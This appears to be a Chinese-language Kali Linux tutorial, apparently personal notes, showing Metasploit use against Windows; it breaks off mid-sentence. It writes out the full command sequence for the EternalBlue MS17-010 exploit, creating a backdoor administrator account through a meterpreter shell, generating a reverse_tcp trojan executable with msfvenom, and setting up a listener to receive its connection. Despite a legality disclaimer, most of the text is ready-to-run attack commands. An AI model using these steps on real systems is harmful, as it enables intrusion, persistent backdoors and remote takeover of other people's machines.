资料仅用于个人学习，恶意攻击互联网网站及操作系统属于违法行为！！

1、安装与部署kali

2、metasploit工具

msfconsole

2.1、metasploit攻击windows操作系统

msf使用法则： 使用模块--配置模块必选项--运行模块

示例：永恒之蓝445漏洞攻击

2.1.1、查找模块

msf6 > search ms17_010

2.1.2、使用模块

msf6 > use exploit/windows/smb/ms17_010_eternalblue

2.1.3、设置必选项（Required：yes为必填）

sf6 exploit(windows/smb/ms17_010_eternalblue) > show options

2.1.4、设置模块

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.63.139 RHOSTS => 192.168.63.139 msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 9999 LPORT => 9999

2.1.5、运行

run

2.1.6、攻击成功

成功后的操作

help可以查看可以执行的操作

例如：创建后门用户并开启远程连接

meterpreter > shell C:\Windows\system32>net user zhangsan 123456 /add && net localgroup administrator zhangsan /add

2.2、生成远控木马

2.2.1 windows可执行程序后门（不能绕过杀毒软件）

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.63.129 lport=9999 -f exe -o demo9999.exe

2.2.2、执行木马监控

msfconsole msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.63.129 msf6 exploit(multi/handler) > set LPORT 9999 run

当某台主机点击前期生成的木马程序时